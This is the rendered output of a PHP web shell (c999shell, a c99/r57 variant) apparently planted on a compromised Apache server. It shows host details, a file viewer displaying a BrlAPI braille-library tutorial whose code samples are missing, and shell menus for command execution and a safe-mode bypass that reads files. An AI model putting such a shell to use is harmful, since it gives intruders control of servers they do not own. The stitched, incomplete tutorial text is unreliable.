Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/brlapi-0.4.1/BrlAPI-HTML/ drwxr-xr-x |
Viewing file: BrlAPI-5.html (8.94 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | 5. Library descriptionLet's now see how one can write dedicated applications. Basic notions will be seen, along with a very simple client. Greater details are given as online manual pages. The historical test program for BrlAPI was something like:
It is here rewritten, its working briefly explained. 5.1 Connecting to BrlAPIConnection to BrlAPI is needed first, thanks to the
The connection might fail, so testing is needed. 5.2 Getting driver id and nameKnowing the type of the braille device might be useful:
This is particularly useful before entering raw mode to achieve file transfers for instance, just to check that the device is really the one expected. 5.3 Getting display sizeBefore writing on the braille display, the size should be always first checked to be sure everything will hold on it:
5.4 Entering raw mode, immediately leaving raw mode.Entering raw mode is very simple:
Not every driver supports raw mode (actually only one does for the moment ;-), so testing is needed. While in raw mode, 5.5 Getting tty controlLet's now display something on the device. control of the tty must be get first:
The first parameter tells the server the number of the tty to take control of. Setting -1 lets the library determine it for us. The server is asked to send brltty commands, which are device-independent. Getting control might fail if, for instance, another application already took control of this tty, so testing is needed. From now on, the braille display is detached from the screen. 5.6 Writing something on the displayThe application can now write things on the braille display without altering the screen display:
The cursor is also asked not to be shown: its position is set to 0. "Writing to braille display... Ok" is now displayed on the screen, and "Press a braille key to continue..." on the braille display. 5.7 Waiting for a key pressTo have a break for the user to be able to read these messages, a key press (a command here, which is driver-independent) may be waited for:
The command code is returned, as described in The first parameter tells the lib to block until a key press is indeed read. 5.8 Leaving tty controlLet's now leave the tty:
But control of another tty can still be get for instance, by calling
5.9 Disconnecting from BrlAPILet's disconnect from BrlAPI:
The application can as well still need to connect to another server on another
computer for instance, by calling 5.10 Putting everything together...
This should compile well thanks to
Next Previous Contents |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]-- |